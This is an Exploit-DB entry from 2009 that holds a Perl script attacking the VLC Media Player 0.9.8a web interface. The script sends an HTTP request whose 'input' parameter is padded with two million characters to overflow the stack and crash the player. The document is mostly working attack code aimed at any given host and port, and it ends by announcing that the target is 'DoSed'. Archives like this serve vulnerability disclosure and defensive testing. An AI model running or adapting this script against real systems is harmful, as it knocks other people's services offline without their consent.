VideoLAN VLC Media Player 0.9.8a - Web UI 'input' Remote Denial of Service

EDB-ID:

8213

Author:

TheLeader

Type:

dos

Platform:

Windows

Published:

2009-03-16

#!/usr/bin/perl

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## VLC 0.9.8a Web UI Remote Stack Overflow (DoS) by TheLeader
## GreetZ: forums.hacking.org.il
## TiP oF TEh DaY: Rock on! =]
########################################################

use IO::Socket;

my $host = shift || 'localhost'; # Target host
my $port = shift || 8080; # Target port. Default port = 8080

#Note: for some reason, A x 2070785 = terminate without crash;
my $req = "GET /requests/status.xml?command=in_play&input=" . "A" x 2000000 . " HTTP/1.1\r\n";
$req .= "Host: $host:$port\r\n";
$req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 3.5.30729)\r\n";
$req .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$req .= "Accept-Language: he,en-US;q=0.7,en;q=0.3\r\n";
$req .= "Accept-Encoding: gzip,deflate\r\n";
$req .= "Accept-Charset: windows-1255,utf-8;q=0.7,*;q=0.7\r\n";
$req .= "Keep-Alive: 300\r\n";
$req .= "Connection: keep-alive\r\n";
$req .= "Referer: http://$host:$port/\r\n\r\n";

print "\nConnecting to $host on port $port\n";

my $sock = new IO::Socket::INET( PeerAddr => $host, PeerPort => $port, Proto => 'tcp');
$sock or die "Cannot connect to server: $!";
print "Sending HTTP request..\n";
print $sock $req;
print "Exploited. Target should be DoSed by now :)\n";

close $sock;

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